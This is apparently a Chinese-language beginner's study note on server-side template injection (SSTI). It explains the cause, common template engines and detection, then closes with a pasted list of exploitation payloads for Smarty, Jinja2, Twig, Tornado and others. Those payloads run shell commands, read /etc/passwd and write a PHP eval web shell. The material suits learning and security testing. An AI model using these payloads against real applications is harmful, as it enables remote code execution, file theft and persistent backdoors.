SSTI 模板注入
前言
这一篇文章只是简单的使用,对于深入的代码审计由于本人暂时水平有限,做不出太大的解释,所以就不做解释,只讲述利用漏洞,对于代码的审计部分以及若干漏洞利用我会在后期进行补上
本文的一个小关卡
大家也可以看我的学习总结文章,我会在里面加入其他的一些利用
一、注入
注入的定义: 注入就是格式化字符串漏洞的一种体现
二、什么是 SSTI 模板注入
SSTI (服务器端模板注入)也是格式化字符串的一个非常好的例子,如今的开发已经形成了非常成熟的 MVC 的模式,我们的输入通过 V 接收,交给 C ,然后由 C 调用 M 或者其他的 C 进行处理,最后再返回给 V ,这样就最终显示在我们的面前了,那么这里的 V 中就大量的用到了一种叫做模板的技术。请记住,凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。
三、产生原因
服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。
四、常见的模板引擎
- PHP
- Smarty
Smarty算是一种很老的PHP模板引擎了,非常的经典,使用的比较广泛
- Twig
Twig是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustache和liquid。
- Blade
Blade 是 Laravel 提供的一个既简单又强大的模板引擎。
和其他流行的 PHP 模板引擎不一样,Blade 并不限制你在视图中使用原生 PHP 代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade 基本上不会给你的应用增加任何额外负担。
- Smarty
- Java
- JSP
对于这个初学者都是用这个说实话这个好像有点 out 了。不过网上的存量还是挺大的
- FreeMarker
FreeMarker是一款模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页、电子邮件、配置文件、源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。
- Velocity
Velocity作为历史悠久的模板引擎不单单可以替代JSP作为Java Web的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力。
- JSP
- Python
- Jinja2
flask jinja2 一直是一起说的,使用非常的广泛
- django
django 应该使用的是专属于自己的一个模板引擎,我这里姑且就叫他 django,我们都知道 django 以快速开发著称,有自己好用的ORM,他的很多东西都是耦合性非常高的,你使用别的就不能发挥出 django 的特性了
- tornado
tornado 也有属于自己的一套模板引擎,tornado 强调的是异步非阻塞高并发
- Jinja2
五、相关属性
-
_class_
python中的新式类(即显示继承object对象的类)都有一个属性__class__
用于获取当前实例对应的类,例如"".__class__
就可以获取到字符串实例对应的类 -
_mro_
python中类对象的__mro__
属性会返回一个tuple对象,其中包含了当前类对象所有继承的基类,tuple中元素的顺序是MRO(Method Resolution Order) 寻找的顺序。 -
_globals_
保存了函数所有的所有全局变量,在利用中,可以使用__init__
获取对象的函数,并通过__globals__
获取file
os
等模块以进行下一步的利用 -
_subclasses_()
python的新式类都保留了它所有的子类的引用,
__subclasses__()
这个方法返回了类的所有存活的子类的引用(是类对象引用,不是实例)。因为python中的类都是继承object的,所以只要调用object类对象的
__subclasses__()
方法就可以获取想要的类的对象。
六、检测方法
同常规的 SQL 注入检测,XSS 检测一样,模板注入漏洞的检测也是向传递的参数中承载特定 Payload 并根据返回的内容来进行判断的。每一个模板引擎都有着自己的语法,Payload 的构造需要针对各类模板引擎制定其不同的扫描规则,就如同 SQL 注入中有着不同的数据库类型一样。
简单来说,就是更改请求参数使之承载含有模板引擎语法的 Payload,通过页面渲染返回的内容检测承载的 Payload 是否有得到编译解析,有解析则可以判定含有 Payload 对应模板引擎注入,否则不存在 SSTI。
注意:有的时候出现 XSS 的时候,也有可能是 SSTI 漏洞,虽说模板引擎在大多数情况下都是使用的xss 过滤的,但是也不排除有些意外情况的出现,比如
有的模板引擎(比如 jinja2)在渲染的时候默认只针对特定的文件后缀名的文件(html,xhtml等)进行XSS过滤
七、攻击思路
1. 攻击方向
(1)模板本身
(2)框架本身
(3)语言本身
(4)应用本身
2. 漏洞利用
这里我还没有找下足够的利用方法,就先把自己有的粘贴吧
超级全的模板注入语句
- Smarty模板注入:(我这里做笔记的时候全用的if语句就不改了)
{if phpinfo()}{/if}
{if readfile(‘文件路劲’)}{/if}
{if show_source(‘文件路径’)}{/if}
{if passthru(‘操作命令’)}{/if}
{if system(‘操作命令’)}{/if}
{system('cat /flag')}
{self::getStreamVariable("file:///etc/passwd")}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php eval($_GET['cmd']); ?>",self::clearConfig())}
常规利用
{$smarty.version} #获取smarty的版本号
{php}phpinfo();{/php} #执行相应的php代码,在Smarty 3.1,{php}仅在SmartyBC中可用
<script language="php">phpinfo();</script>
{self::getStreamVariable("file:///etc/passwd")}
等等等等等等等等。。。。。。......
- Jinja2:
Python2:
#(system函数换为popen('').read(),需要导入os模块)
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
#(不需要导入os模块,直接从别的模块调用)
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
#常用的py2 EXP
().__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
Python3:
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
- Twig:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
-
AngularJS:
$eval('1+1')
-
Tornado
引用模块 {% import module %} => {% import os %}{{ os.popen("whoami").read() }}
-
Django
{{ request }} {% debug %} {% load module %} {% include "x.html" %} {% extends "x.html" %}
八、总结
刚开始学知道怎么找漏洞就可以了,没必要深究